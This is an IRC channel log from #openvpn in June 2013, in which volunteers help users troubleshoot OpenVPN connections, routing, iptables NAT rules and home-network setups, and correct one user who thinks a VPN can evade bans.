14:19 -!- MsToxic [~MsToxic@ool-457d12c0.dyn.optonline.net] has quit [Client Quit]
14:27 -!- joshie_ is now known as joshie
14:36 -!- mapu [~mklatsky@c-174-63-40-75.hsd1.vt.comcast.net] has quit [Quit: mapu]
14:40 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 276 seconds]
14:44 -!- D4RkMooN [~D4RkMooN@dynamic-adsl-62-10-148-29.clienti.tiscali.it] has joined #openvpn
14:44 < D4RkMooN> hello
14:44 < D4RkMooN> :( can someone help me??
14:44 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
14:44 < dballester> thanks, pekster !
14:45 < D4RkMooN> ???
14:47 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
14:48 < pekster> I would guess that someone, somewhere, is likely capable of helping you
14:48 < D4RkMooN> i have a problem
14:48 < D4RkMooN> i have lost connection
14:49 < D4RkMooN> route.exe delete xx.xx.xx.xx mask xx.xx.xx.xx xx.xx.xx.xx.
14:50 < pekster> That doesn't mean anything to me
14:51 < pekster> Try a basic description of your goal, what you've done, what happened, and what you expected to happen
14:51 < D4RkMooN> 3 COPIER/91.81.82.116:1953 SENT CONTROL [COPIER]: 'PUSH_REPLY,route 10.8.0.1,topology net30,ping 10,ping-restart 120,ifconfig 10.8.0.6 10.8.0.5' (status=1)
14:51 < D4RkMooN> Tue Jun 25 16:46:23 2013 C:\Windows\system32\route.exe DELETE 10.8.0.0 MASK 255.255.255.0 10.8.0.2
14:51 < D4RkMooN> Tue Jun 25 16:46:23 2013 Route deletion via IPAPI succeeded [adaptive]
14:51 < D4RkMooN> Tue Jun 25 16:46:23 2013 Closing TUN/TAP interface
14:51 < D4RkMooN> Tue Jun 25 16:46:23 2013 SIGTERM[hard,] received, process exiting
14:51 < D4RkMooN> Tue Jun 25 16:46:23 2013 MANAGEMENT: >STATE:1372171583,EXITING,SIGTERM,,
14:53 < pekster> Please send more than a couple of lines to a pastebin site. That said, something sent the program a SIGTERM signal, and it thus exited
14:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:53 < D4RkMooN> :( sorry i'm italian
14:54 < pekster> No worries, just keep pastes of configs and logs on a site like this:
14:54 < pekster> !paste
14:54 <@vpnHelper> "paste" is If you're pasting config files, see !configs for grep syntax to remove comments
14:54 < pekster> Hmm, that used to be more useful
14:54 < pekster> !pastebin
14:54 <@vpnHelper> "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
14:54 < pekster> !forget paste
14:54 <@vpnHelper> Joo got it.
14:54 < pekster> !learn paste as [pastebin]
14:54 <@vpnHelper> Joo got it.
14:55 < D4RkMooN> or i can send it for you?
14:55 < pekster> I don't understand; if you need to paste configs or logs, do so on a pastebin site linked above
14:56 < pekster> From the little bit you showed, something send your program the 'TERM' signal, which tells the program to terminate
14:56 < pekster> Your program ended because it was told to end
14:57 < D4RkMooN> ik I paste config and log and i link you
14:57 < pekster> Sure
14:59 <@ecrist> [@ecrist(+i)] [5:#openvpn(+cgnst)] [200 nicks (@7 %0 +1 192)] 
14:59 <@ecrist> 200 users, neat
15:00 < D4RkMooN> http://pastebin.com/E7i6PieL
15:01 < D4RkMooN> for the log i have close it
15:01 -!- ade_b [~Ade@ovirt.cassiopia.net] has joined #openvpn
15:01 -!- ade_b [~Ade@ovirt.cassiopia.net] has quit [Changing host]
15:01 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:01 < D4RkMooN> but after 45 minute of activity the error is
15:01 < D4RkMooN> Tue Jun 25 16:46:23 2013 C:\Windows\system32\route.exe DELETE 10.8.0.0 MASK 255.255.255.0 10.8.0.2
15:02 < D4RkMooN> now I have restart the server
15:02 < D4RkMooN> whith administrator mode
15:03 < pekster> The config file looks fine; the issue is why the program is being told to terminate
15:04 < pekster> From the little bit of the log you pasted above, *something* is sending it a signal asking it to terminate. You need to figure out what is doing that
15:05 -!- crane [~crane@static-87-79-93-178.netcologne.de] has joined #openvpn
15:05 < D4RkMooN> windows firewall? uac?
15:05 < crane> hey ho, are files ccd files available without a reload of openpvn when i change them?
15:06 < D4RkMooN> i'm italian i dont know u :(
15:20 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 252 seconds]
15:23 -!- mattock is now known as mattock_afk
15:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:35 -!- Denial [Denial@90.205.133.229] has quit []
15:38 -!- hsn [~majitel@205.83.broadband7.iol.cz] has left #openvpn []
15:42 -!- D4RkMooN [~D4RkMooN@dynamic-adsl-62-10-148-29.clienti.tiscali.it] has quit []
15:47 -!- ade_b [~Ade@82.152.186.213] has joined #openvpn
15:47 -!- ade_b [~Ade@82.152.186.213] has quit [Changing host]
15:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:50 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:51 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
15:52 < kisom> crane: Yes, they are loaded when the client connects
15:52 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:55 < crane> kisom, awesome, thx! :)
15:55 < crane> that makes me happy :D
16:02 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
16:03 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
16:07 -!- Cyrax [~Cyrax@89.11.158.190] has joined #openvpn
16:07 < Cyrax> Hi all. I got a question about this openvpn.. How does it work how do i use it? first time
16:09 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:11 < Moonlightning> Cyrax, do you know what a VPN is?
16:11 < Moonlightning> “How does it work and how do I use it?” is a /very/ broad question.
16:11 < Cyrax> Virtual Private Network
16:11 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
16:11 < Moonlightning> Do you know what that is? :P
16:12 < Cyrax> No i dont
16:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:12 < Moonlightning> Yeahhh, maybe read up first.
16:12 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has quit [Quit: Saliendo]
16:12 < Moonlightning> Also, as the topic says:
16:12 < Moonlightning> !welcome | Cyrax
16:12 < Moonlightning> …gah, doesn't work like that
16:12 < Moonlightning> !welcome
16:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
16:12 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:12 < Moonlightning> !goal
16:12 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:12 < Moonlightning> Read that. XD
16:13 < Cyrax> Too bad the openvpn doesnt allow to make up ur own IP
16:13 < Moonlightning> It does?
16:13 < Cyrax> nope
16:13 < Moonlightning> Within the standard restrictions, of course.
16:14 < Cyrax> I mean any ip u choose urself,not form a list of ip's
16:14 < Cyrax> *from
16:14 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
16:14 < Moonlightning> There isn't a /list/
16:14 < Moonlightning> Just three subnets you're limited to.
16:14 < Moonlightning> 10.0.0.0/8, 192.168.0.0/16, and 172.16.0.0/16
16:14 < Moonlightning> Within those, you can choose whatever you like
16:14 < Moonlightning> Those restritions will apply to any VPN software, by the way :P
16:15 < Moonlightning> Unless you want to mask out parts of the Internet
16:15 < Cyrax> So u mean with that open vpn,i can enter any ip i want,even if its fake or not?
16:15 < Moonlightning> No, you can't assign a machine any IP you want.
16:15 < Moonlightning> You couldn't assign 74.125.224.230 to a machine, for example.
16:15 < Moonlightning> Because that's a Google IP.
16:15 < Cyrax> thats what i were asking :p.. too bad the openvpn doesnt have it
16:16 < pekster> You *could* but you may not
16:16 < Moonlightning> And if you used that subnet, you wouldn't be able to use Google.
16:16 < Moonlightning> Cyrax, no VPN software will let you assign any IP you like to any machine you like
16:16 < Moonlightning> The Internet doesn't work like that.
16:16 < Moonlightning> As I said, there are three subnets from which you may pick IPs.
16:17 < Moonlightning> Those subnets are reserved for LAN use and no machine on the public Internet may have them.
16:17 < Cyrax> Lets say for example i use that and get banned from a site or game.. will that openvpn make me unbanned any time? like that?
16:17 < Moonlightning> -.- …
16:17 < Moonlightning> I'll let someone else handle that.
16:18 < Moonlightning> And if you meant /external/ IP, you REALLY can't give yourself any /public/ IP you want.
16:19 < Moonlightning> No matter /what/ kind of software you have, you're not going to be able to do that.
16:19 < Moonlightning> If the Internet worked like that, it would be in a state of total chaos, as users like you who got banned from things reassigned themselves random IPs, creating a state of total confusion
16:19 < Moonlightning> “Wait, is 74.125.224.230 a Google server, or is it this one guy's computer?”
16:19 < Moonlightning> Nothing would /work./
16:20 < Cyrax> thats jsut made it more simple for me :D.. but about if I get unbanned anytime when i start using it,i'm not sure. so i wait if someone know it
16:20  * Moonlightning sighs.
16:20 < Moonlightning> I think you're misunderstanding the whole concept of a VPN…
16:20 < Moonlightning> It's not something that magically changes your IP address to evade bans.
16:21 < pekster> A VPN securely connects two or more computers on a virtual network. That's it. Any other feature is provided at a higher level and merely incidental to the core use of a VPN
16:21 < Moonlightning> Again, read this:
16:21 < Moonlightning> !goal
16:21 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:24 < Cyrax> Thanks.
16:24 -!- Cyrax [~Cyrax@89.11.158.190] has left #openvpn []
16:24 < pekster> Lovely. THat user was here last night apparently looking for ban evasion software
16:28 < Moonlightning> I'll remember them :P
16:29 < crane> does anyone know here to configure a dummy network card in /etc/network/interfaces?
16:30 -!- chrisbruno [~bruno@obsidian.casanueva.com] has joined #openvpn
16:31 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
16:32 < chrisbruno> i was wondering if i can use the same server and ca certificate on multiple vpn server daemons on the same machine?
16:32 < crane> chrisbruno, define "the same server"
16:32 < crane> using the same ca file doesnt matter
16:33 < pekster> If you want to run multiple instances from the same running OS, sure you can re-use the same keypair for the server
16:33 < pekster> There's not really a clear security advantage to issuing multiple certs to each instance in such a setup
16:35 < chrisbruno> crane, same 'server key/certificate'
16:35 < chrisbruno> pekster, thanks
16:36 < crane> ca file is just for looking up if they key it signs correctly and can be trusted
16:36 < crane> the key files should be used just once for security reasons but you can disabled this feature
16:36 < pekster> This is for multiple instances crane, not multiple users re-using the same keypair
16:37 < pekster> It's also for servers, not clients (where "re-use" isn't a factor)
16:37 < crane> just wanted to hint that point
16:37 < chrisbruno> yes, several server instances on the same machine
16:37 < chrisbruno> different ports, what ports do you recommend we use?
16:38 < pekster> If you had >1 running system, it might be wise to use different keypairs so if one is compromised the other isn't by definition
16:38 < pekster> Whatever you need? You really only need 2 instances (one tcp and one udp) and can NAT alternative external ports if you're trying to bypass stupid firewalls on the client side
16:39 < pekster> Tricks like that won't fool DPI or transparent application proxies, but sometimes clever use of ports like tcp/443, udp/53, and similar setups can get past poorly configured firewalls
16:43 < chrisbruno> pekster, thanks for the info
16:55 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has quit [Ping timeout: 240 seconds]
16:57 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
16:57 -!- jmartinez is now known as Guest68836
17:02 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
17:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:13 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 240 seconds]
17:17 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Operation timed out]
17:19 -!- Netsplit *.net <-> *.split quits: pwrcycle, DrCode
17:19 < cornfeedhobo> hello guys. I am diving into another openvpn setup and wanted to ask you guys a question before i start. i currently have two working VPNs. they work amazingly! now we would like to get the to locations to be joined some how. since both locations are running a bridged setup, what would you guys recommend?
17:20 -!- master_o1_master [~master_of@p4FF24D36.dip0.t-ipconnect.de] has joined #openvpn
17:20 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:21 < cornfeedhobo> i thought about a point-to-point but the example shown uses a tun device, can this be adapted to a tap?
17:23 -!- Donks [~donks@dhcp-c8-d7-19-90-12-c1.cpe.townisp.com] has joined #openvpn
17:24 -!- master_of_master [~master_of@p4FD7B174.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
17:25 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
17:25 < pekster> PtP can use tap, though you shouldn't bridge physically disjoined networks like that
17:31 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
17:46 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has joined #openvpn
17:47 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
17:49 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
17:56 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 22.0/20130618035212]]
17:57 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
18:07 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
18:08 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
18:31 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 245 seconds]
18:42 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
18:42 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
18:48 -!- Donks [~donks@dhcp-c8-d7-19-90-12-c1.cpe.townisp.com] has quit [Quit: Donks]
19:03 -!- chrisbruno [~bruno@obsidian.casanueva.com] has quit [Quit: Ex-Chat]
19:52 -!- Guest68836 [~jmartinez@46.234.149.43] has quit [Read error: Connection reset by peer]
19:52 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
19:55 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Ping timeout: 268 seconds]
19:57 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
19:57 -!- jmartinez is now known as Guest80314
20:03 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
20:05 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: Moonlightning]
20:08 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
20:08 -!- raidz is now known as raidz_away
20:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:37 -!- Alina-malina [Alina-mali@37.252.64.138] has joined #openvpn
20:47 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
20:49 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
20:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:54 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
20:58 -!- emmanuelux [~emmanuelu@94.23.70.250] has quit [Quit: emmanuelux]
21:09 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
21:09 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
21:09 -!- nish [~nish@195.1.174.154] has quit [Ping timeout: 246 seconds]
21:10 -!- nish [~nish@195.1.174.154] has joined #openvpn
21:34 -!- dimm0k_ [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Quit: leaving]
21:47 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Quit: Leaving]
21:54 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has quit [Quit: quit]
21:56 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 276 seconds]
22:00 -!- emid [~emid@ec2-107-22-8-196.compute-1.amazonaws.com] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:11 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has quit [Quit: he flaps his wings and glides into the distance...]
22:25 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
22:26 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
22:33 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:56 -!- Guest80314 [~jmartinez@46.234.149.43] has quit [Ping timeout: 256 seconds]
22:57 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
22:57 -!- jmartinez is now known as Guest85143
23:08 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 240 seconds]
23:12 -!- Ghormoon [~Ghormoon@ip-37-188-233-77.eurotel.cz] has joined #openvpn
23:14 < Ghormoon> hi, just to make sure, when there are push "something" in tutorials, can I add all those commands on client side (without push)? (I want to decide whether to route all traffic into vpn or not according to actual situation - notebook)
23:15 < pekster> Ghormoon, yup
23:16 < Ghormoon> then the problem is somewhere else :) when I want to redirect-gateway def1 I don't have it in ipconfig /all :( (works for DNS though)
23:16 < pekster> --redirect-gateway changes/adds a route, which won't show up in `ipconfig`
23:16 < pekster> See the manpage description for details
23:17 < Ghormoon> so the interface won't have default route?
23:17 < pekster> Read about what 'def1' does and I think you can answer that yourself
23:19 < Ghormoon> maybe then the nat doesn't work on the other end, I don't have any other idea :D
23:19 < pekster> !redirect
23:19 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
23:19 <@vpnHelper> http://ircpimps.org/redirect.png
23:20 < pekster> The handy flowchart is MIA, but the text has all the required steps
23:20 < Ghormoon> !ipforward
23:20 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
23:20 < Ghormoon> !linipforward
23:20 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:29 < Ghormoon> something is still wrong :(
23:30 < Ghormoon> NAT set, forward set, dns set, redirect-gateway set :(
23:30 < pekster> As the /TOPIC suggests, people often find their firewalls are blocking traffic
23:30 < pekster> Otherwise, check that your routing table looks right on the client and follow the flow of packets (traceroute and tcpdump are useful tools for this)
23:31 < Ghormoon> well,I don;t have any firewall on the windows machine and only iptables rules on the server ale those added now + sometimes something from fail2ban
23:31 < Ghormoon> ill try if it at leat goes to the vpn, good idea, thanks :)
23:39 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has joined #openvpn
23:40 < Ghormoon> well, it goes in the vpn, so most propably I've messed up the iptables :)
23:43 < Ghormoon> what do you think? http://ghormoon.ghorland.net/iptables.txt
23:46 < pekster> Ghormoon: Repaste that in `iptables-save` syntax -- as the #netfilter folks will readily remind you, -L is hard to read, incomplete, and often misleading
23:47 < pekster> At a quick glance your SNAT rule may be too specific, unless that /24 is your VPN network
23:47 < Ghormoon> well that's what I'e googled out :) I'll try :) ("Im a lunux noob really, I've got a cheap VPS to try things on)
23:47 < Ghormoon> it is
23:47 < pekster> And that's the IP your public interface holds on the default upstream route?
23:48 < Ghormoon> yep
23:48 < pekster> Probably fine then; check hitcounters with `iptables-save -c` and verify the rules you're expecting to get hit are
23:49 < Ghormoon> well, maybe I've found the problem but I'm not sure
23:49 < pekster> VPS's often have issues with netfilter, among other things (openVZ in particular:
23:49 < pekster> !openvz
23:49 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
23:50 < pekster> YMMV
23:50 < Ghormoon> the default route goes to venet0, but the ipv4 address is on venet0:0 so I've added -o venet0:0 to the SNAT rule
23:50 < pekster> That's not how ifconfig "aliases" work
23:50 < pekster> !ifconfig_linux
23:50 <@vpnHelper> "ifconfig_linux" is Avoid use of 'ifconfig' and 'route' commands on modern Linux distros. It's old, deprecated, and often misleading/wrong. Use the 'ip a' and 'ip r' commands instead. More info: http://inai.de/2008/0219-ifconfig-sucks.php
23:50 < Ghormoon> default dev venet0  scope link
23:51 < pekster> someDevice:X (where X is a number, like 0, 1, etc) is *not* an actual device. It's outdated depreacted linux crap from over a decade ago that people can't let go of
23:51 < Ghormoon> so I'll try changing that rule
23:51 < pekster> I dunno what device you have now (since your output was in the incomplete and mostly-worthless -L syntax.) Next time use `iptables-save`
23:51 < pekster> Or just leave it off completely since you're already limiting it by network
23:52 < Ghormoon> I've done it with venet0:0 (because there is the ipv4 address, venet0 has only ipv6)
23:52 < pekster> Nope
23:52 < pekster> That's not good
23:52 < pekster> (and I would have spotted that sooner if you'd used `iptables-save`. Hope you got the hint...)
23:52 < Ghormoon> yep, I've dumped it and forgot to paste when started thinking about this :D
23:53 < Ghormoon> updated that txt
23:54 < pekster> s/venet0:0/venet0/ should do it; everything else looks fine
23:54 < pekster> Long-term you should probably lock that down a bit more, but that's not relevant to your current issue
23:54 < Ghormoon> yep, trying that out (afk, I'm on the same machine)
23:55 < Ghormoon> actually, long-term I should learn to understand what iptables do, not just copy them from google :)
23:56 < pekster> The #netfilter /TOPIC has some good reading; the howto on the frozentux.net site is still relevant, although they use the -m state match (--state) that is now deprecated and -m conntrack --ctstate is the modern replacement
23:57 < Ghormoon> anyway, vpn seems ok
23:57 < pekster> Another tip on diagnosing netfilter issues is to check hitcounters (`iptables-save -c`) for clues as to what is or is not getting hit, and use of -j TRACE
23:58 < Ghormoon> what does TRACE do? "fakes" packet with some specifications?
23:59 < pekster> traces what rules get processed
23:59 < pekster> iptables-extensions(8) has details
23:59 < pekster> Best to put it in raw/PREROUTING or such so it'll show you all the relevant future chains
23:59 < Ghormoon> well, i'll have to look how chains work first :)
--- Day changed Wed Jun 26 2013
00:00 < pekster> Yea, you should spend some time with that howto I referenced
00:00 < Ghormoon> yep, I'll have things to read on long evenings
00:00 < Ghormoon> maybe if i'll be really bored I'll try few virtuals in network to try it out :)
00:03 < altker128> Ghormoon: What is your setup like?
00:03 < Ghormoon> btw I don't need the forward? I've forgot to fix it, it has 0 hits and it works now :D
00:04 < altker128> https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
00:04 < Ghormoon> what do you mean? just a laptop :D
00:04 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
00:04 < altker128> In that link if your setup is like the 2nd one called out, you'll need to add an additional route to allow 10.8.x.x to access WAN on the router
00:04 < Ghormoon> ah, that was to something before, cheap VPS as gateway and laptop :)
00:04 < pekster> altker128: The SNAT already does that
00:05 < altker128> pekster: Only on the openvpn machine , but if you're using the second config there is no SNAT.
00:05 < pekster> Right, this is a --redirect-gateway + RFC1918 VPN set up
00:06 < Ghormoon> I just want to route everything to server from time to time (like when I'm connecting to bank or another important things on free wifi hotspot)
00:08 < Ghormoon> and also later I'd like to add other clients, but those won't use it as internet gateway, just to be able to access my desktop and it's WoL interface (raspi) from my laptop
00:09 < pekster> WoL is a L2 thing, so you'd need a bridged setup for that
00:09 < pekster> I just use a routed (L3) VPN and ssh into a system on my LAN to issue any WoL packets
00:09 < Ghormoon> nope, that raspi is on the same switch :)
00:10 < pekster> WoL requires Ethernet broadcasts
00:10 < pekster> So no, you can't do that over L3
00:10 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
00:10 < pekster> switch = L2, IP = L3
00:10 < Ghormoon> there will be openvpn client on that raspi and it WoL will go out of vpn
00:10 < pekster> Ah, I see what you're doing (VPN, then hit the rPi, and WoL from that, right?)
00:10 < Ghormoon> I just need to be able to "cal lhome for data" and 20$ used raspi seemed good idea :D
00:11 < Ghormoon> yep
00:11 < pekster> I do the same thing with a WoL program on my OpenWRT router
00:11 < Ghormoon> I have some cheap air-something thing
00:11 < pekster> Provided it does what you need, hardware is often less important than good software
00:12 < Ghormoon> btw is it possible to do 1:1 nat on whole /24?
00:12 < pekster> A lot of the off-the-shelf routers have nasty defaults, like the Linux-kernel default of 7-day conntrack timeouts for established TCP streams
00:12 < pekster> Yup, see the netmap target
00:12 < Ghormoon> without specifying it per address :D
00:13 < Ghormoon> I'd like to connect both home and college lan later, but those both use 192.168.1.0/24 (well, most propably I'll change addresses, but to know it's possible)
00:14 < pekster> Yea, don't abuse NAT to fix that
00:14 < pekster> number networks smarter
00:14 < Ghormoon> that's why I've started the network with 10.143. .... :)
00:14 -!- nikkiheat2 [~nikkiheat@133.244.sfcn.org] has quit [Quit: Nettalk6 - www.ntalk.de]
00:14 < Ghormoon> I just don't want to route 192.168.1.0/24 in vpn, because if i meet hotspot with gateway 192.168.1.1 .. that would be bad :D
00:15 < pekster> Yup
00:15 < pekster> Best to pick something in the middle of 10/8 or 172.16/12
00:15 < Ghormoon> it has to be 192.168.something
00:15 < Ghormoon> that crappy thing won;t take 10 or 172
00:16 < pekster> Then get a non-broken device
00:16 < Ghormoon> I've found it deep burried in trash at home, nobody wanted to use that router, so I took it as cheap thing to my college room
00:16 < pekster> Oh, right, but if you're pushing the home network, renumber *that*
00:17 < pekster> You can't (usually) control the client network when you're connecting from someone else's setup
00:17 < Ghormoon> I'll e pushing both, maybe using the pi as router till I'll get better one at college
00:17 < pekster> Ah, right
00:17 < pekster> Then the best you can do is push a small /24 in the middle of 192.168/16 and hope no one uses the entire /16 somewhere
00:17 < Ghormoon> I'm considering something better, but thats another ~75$
00:18 < pekster> As long as you don't need wifi, there are openwrt-supported sales with rebates you can get something for maybe $20-$30
00:18 < Ghormoon> well, that would be just more precise route and if he hasn't got the gateway in that /24 it should be  ok?
00:18 < pekster> Right
00:18 < Ghormoon> well, if I'll be changing, I wan gbit ln and n wifi
00:18 < pekster> I separate my router and AP duties since it allows more flexibility, and lower costs overall
00:19 < pekster> Lots of the wifi chips aren't very open-source friendly, sadly
00:19 < Ghormoon> considering mikrotik rb951g-2hnd
00:20 < Ghormoon> it should be possible to run openvpn on routeros if I'm right
00:20 < pekster> No idea; I'm partial to openwrt for a copyleft embedded platform due to their polished build system, development track record, and flexibility
00:21 < Ghormoon> well, if not, I can run openwrt on that
00:21 < altker128> pfsense on a spare machine is nice
00:21 < Ghormoon> but those things seem to be quite good even with routeros, not like cheap home boxes
00:21 < altker128> BSD licensed :)
00:22 < pekster> Meh, GPL doesn't hold me back from what I need
00:22 < pekster> Even Google embraces it internally with their "software as a service" model that doesn't require them to release modified sources ;)
00:23 < pekster> (AGPL could make that unusable without public sources, but I'm sure their legal team does what they need to)
00:23 < pekster> One of my codebases uses AGPL for that very reason
00:25 < Ghormoon> btw when SNAT does forwardng, do I need it allowed in sysctl.conf?
00:26 < pekster> naturally
00:26 < pekster> SNAT doesn't "forward" either
00:26 < pekster> It NATs
00:26 < Ghormoon> well, I didn't need the FORWARD rule
00:26 < pekster> Becuase your policy accepts everything
00:26 < clever> you can turn a usb wifi stick and the rpi into an access point also
00:26 < Ghormoon> at least it had 0 hist, I've deleted it and it works :D
00:26 < clever> but the range and performance wont be as good as a dedicated ap
00:26 < pekster> That's generally Bad, but you can leave it open until you lock it down
00:27 < Ghormoon> so I should forward only to tne vpn subnet somehow? and drop rest?
00:28 < pekster> See the sysctl docs for networking tunables (including net.ipv4.ip_forward) at ~linux/Documentation/sysctl/net.txt
00:28 < clever> i have plans to make a battery powered 64gig wireless solid state drive (rpi + usb storage + wifi + battery) for streaming big things into a tablet
00:28 < pekster> You'd need to be familiar with stateful firewalling
00:28 < clever> nothing says you cant use similar stuff to make the rpi into an AP
00:28 < pekster> Spend some time with a guide, becuase #openvpn isn't the place to learn basic firewalling
00:29 < pekster> sys.net.ipv4.ip_forward controls *if* you forward. The firewall controls if a particular packet is *allowed* somewhere (and handles NAT)
00:29 < clever> bbl
00:29 < altker128> Ghormoon: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
00:29 < Ghormoon> btw if I'll need to forward port later, DNAT should be enough? (I'll want to take some unused port like 8888 and read 80 from IP camera)
